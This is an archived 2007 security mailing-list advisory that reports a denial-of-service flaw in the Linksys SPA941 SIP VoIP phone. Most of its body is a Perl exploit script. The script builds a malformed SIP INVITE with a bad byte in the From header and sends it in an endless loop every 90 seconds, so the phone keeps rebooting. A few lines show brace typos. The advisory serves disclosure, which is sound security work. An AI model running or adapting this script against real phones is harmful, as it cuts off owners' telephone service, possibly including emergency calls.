

[EXPL] Linksys SPA941 Denial of Service Exploit (Reboot)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-04/msg00043.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 26 Apr 2007 14:25:49 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Linksys SPA941 Denial of Service Exploit (Reboot)

SUMMARY

A vulnerability in Linksys SPA941 SIP VoIP phone by sending it a malformed SIP packet, which in turn allows to continuously reboot the phone causing denial of service.

DETAILS

Exploit:

```
#!/usr/bin/perl
```

```
use IO::Socket;
```

```
#die "Usage $0 <username> <dst_IP> <Source_IP> <SourcePort>" unless  
($ARGV[2]);  
die "Usage $0 <username> <dst_IP> <SourceIp> <sourceport>" unless  
($ARGV[0]);
```

```
my $sock = new IO::Socket::INET( LocalHost => $ARGV[2], LocalPort =>  
$ARGV[3], Proto => 'udp');  
$socket=new IO::Socket::INET->new(PeerAddr=>$ARGV[1], PeerPort=> '5060',
```

[EXPL] Linksys SPA941 Denial of Service Exploit (Reboot)

```
Proto=>'udp', LocalAddr=>${ARGV[2], LocalPort=>'5061');
```

```
$touser=${ARGV[0];  
$target=${ARGV[1];  
$sourceaddress=${ARGV[2];  
$sourceport=${ARGV[3];  
$high=2000;  
$low=1;
```

```
$fromuserid = int(rand( $high-$low+1 ) ) + $low;  
my $cseq = "INVITE";
```

```
$msg = "INVITE sip:$touser@$target SIP/2.0\r  
Via: SIP/2.0/UDP $sourceaddress:$sourceport;branch=z9hG4bK00000\r  
From: \377<sip:$fromuserid@$sourceaddress>;tag=779\r  
To: Receiver <sip:$touser@$target>\r  
Call-ID: 10@$sourceaddress\r  
CSeq: 1 $cseq\r  
Contact: 779 <sip:$fromuserid@$sourceaddress>\r  
Expires: 1200\r  
Max-Forwards: 70\r  
Content-Type: application/sdp\r  
Content-Length: 133\r  
\r  
v=0\r  
o=0 0 0 IN IP4 $sourceaddress\r  
s=Session SDP\r  
c=IN IP4 $sourceaddress\r  
t=0 0\r  
m=audio 9876 RTP/AVP 0\r  
a=rtpmap:0 PCMU/8000\r";
```

```
$sock or die "no socket :$!";  
while (1) {  
$socket->send($msg);  
sleep 90;  
}
```

ADDITIONAL INFORMATION

The information has been provided by milw0rm.
The original article can be found at:
<<http://www.milw0rm.com/exploits/3792>>
<http://www.milw0rm.com/exploits/3792>

=====

[EXPL] Linksys SPA941 Denial of Service Exploit (Reboot)

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.